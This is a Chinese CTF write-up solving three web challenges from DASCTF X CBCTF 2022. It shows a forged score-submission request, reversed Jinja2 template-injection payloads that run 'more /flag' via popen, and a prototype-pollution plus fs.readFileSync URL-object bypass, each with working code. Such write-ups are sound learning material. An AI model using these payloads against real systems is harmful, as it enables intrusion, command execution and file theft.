DAS月赛系列(9月赛)

DASCTF X CBCTF 2022九月挑战赛

记录写出的跟赛后复现的web题目(因为这场没时间写,主要是复现)

0X00 dino3d

游戏题,先正常玩一局,看请求.

看到有check.php的请求,进入栈跟踪,查看调用

image-20221115170939711

跟进,看到调用

sn(e, t) {
e && t && fetch('/check.php', {
method: 'POST',
headers: {
'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8'
},
body: 'score=' + parseInt(e).toString() + '&checkCode=' + md5(parseInt(e).toString() + t) + '&tm=' + ( + new Date).toString().substring(0, 10)
}).then(e=>e.text()).then(e=>alert(e))
}

打断点获取t的值

image-20221115171309947

构造payload,复制到控制台运行

fetch('/check.php', {
method: 'POST',
headers: {
'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8'
},
body: 'score=' + parseInt(1000000).toString() + '&checkCode=' + md5(parseInt(1000000).toString() + "DASxCBCTF_wElc03e") + '&tm=' + ( + new Date).toString().substring(0, 10)
}).then(e=>e.text()).then(e=>alert(e))
image-20221115171534917

DASCTF{dd7dc305-3475-4e6e-a18f-91332973a3f6}

0X01 Text Reverser(复现)

输入的值能逆序输出

{{__ssalc__.''}}  // ''__class__的逆序
{{}}
>a/<a>a< // <a>a</a>

尝试以上payload都返回

Output: 你干嘛~哎呦~

应该是存在过滤了,看wp是没过滤{% %},尝试}% )"1"(tnirp %{,返回Output: 1,注入成功,那接下来的做法就一样了。先查找可用方法,写脚本注入,并输出返回结果。

# 查找可用方法位置
import requests
from lxml import etree

url = "http://93b4ef63-9b1d-4b76-ade5-c1321a663806.node4.buuoj.cn:81/"
s = '{% print("".__class__.__base__.__subclasses__()) %}'[::-1]
data = {'text': s}
resp = requests.post(url, data=data)
html = etree.HTML(resp.text)
result = html.xpath("//p/text()")[-1].split(',')
for i in result:
if "os" in i:
print(result.index(i), i)


#132 <class 'os._wrap_close'>

能利用的有os._wrap_close类,可用此类中的popen

import requests
from lxml import etree


url = "http://93b4ef63-9b1d-4b76-ade5-c1321a663806.node4.buuoj.cn:81/"
s = '{% print("".__class__.__base__.__subclasses__()[132].__init__.__globals__["popen"]("more /flag").read()) %}'[::-1]
data = {'text': s}
resp = requests.post(url, data=data)
html = etree.HTML(resp.text)
print(html.xpath("//p/text()")[-1])

#DASCTF{bc0513e5-4e05-4bd2-a1e2-42343b57bde8}

0X02 cbshop

打开页面可以登录,买flag,再看源码,给出admin的密码,但是admin登录的密码验证不一样。

const adminUser = {
username: "admin",
password: "😀admin😀",
money: 9999
};
username === adminUser.username && password === adminUser.password.substring(1,6)

直接到控制台运行

image-20221116103228790

密码为\ude00admi,但是拿去登录怎么都不对,看源码,存在对象的合并assign(),太像原型链污染了。看wp,发现密码是uDE00admi,而且没有\?登录还是不行,钱数额不对,没登陆成功。

后面抓包才发现密码\ude00admi被转义成了\\ude00admi.(真的坑。。)

认真研究wp,该题目存在多个知识点,首先是需要原型链污染得到user.token,再一个就是fs.readFileSync()的一个绕过trick.

原型链污染:

买flag时,需要buyApi()中的user.token为真才能通过条件。

而传入buyApi(user, product)中的user为:

var user = {
username: req.session.username,
money: req.session.money
};

不存在token,但是在验证token之前还存在

let order = {};
if(!order[user.username]) {
order[user.username] = {};
}
Object.assign(order[user.username], product);

order[user.username]设为了对象,assign()可将两个对象合并,就是说如果user.username=__proto__, product={"token"=true},则经过assign()后就会出现order['__proto__']={'token'=true}的情况,就造成了原型链污染。但是需要注意,传入的"__proto__"必须是json格式的才能被解析成键名(这里不需要担心),而控制usernamechangeUsername()的函数,刚好,该请求发送的就是json格式的数据。

image-20221116154903492

所以只要将名字改成__proto__就能解析为键名进行污染,然后在购买的请求中加入"token"=true就能实现污染。

成功,接下来就是fs.readFileSync()的trick

fs.readFileSync()绕过

首先它过滤了flag,直接urlencode的话则不会urldecode回原来的值,无法读到flag,但是readFileSync()不止能接收单纯的路径字符串,还能接收file协议URL对象

所以可以传入一个符合URL对象的json格式的参数,readFileSync()会自动new成对象,同时还能进行urldecode,详细的分析可见这里

所以构造payload

{
"name":{
"href": "file:///fl%61g",
"origin": "null",
"protocol": "file:",
"username": "",
"password": "",
"host": "",
"hostname": "",
"port": "",
"pathname": "/fl%61g",
"search": "",
"searchParams": "URLSearchParams {}",
"hash": ""
},
"id":2,
"token":true
}


image-20221116175503561

(不得不吐槽json的格式要求很严格,调了好一会儿,所以写脚本解可能会更好!)

0X03

后面的0解与1解题目看了看感觉发现就是单纯的抄exp,就就暂时不复现了(太菜,学不会。。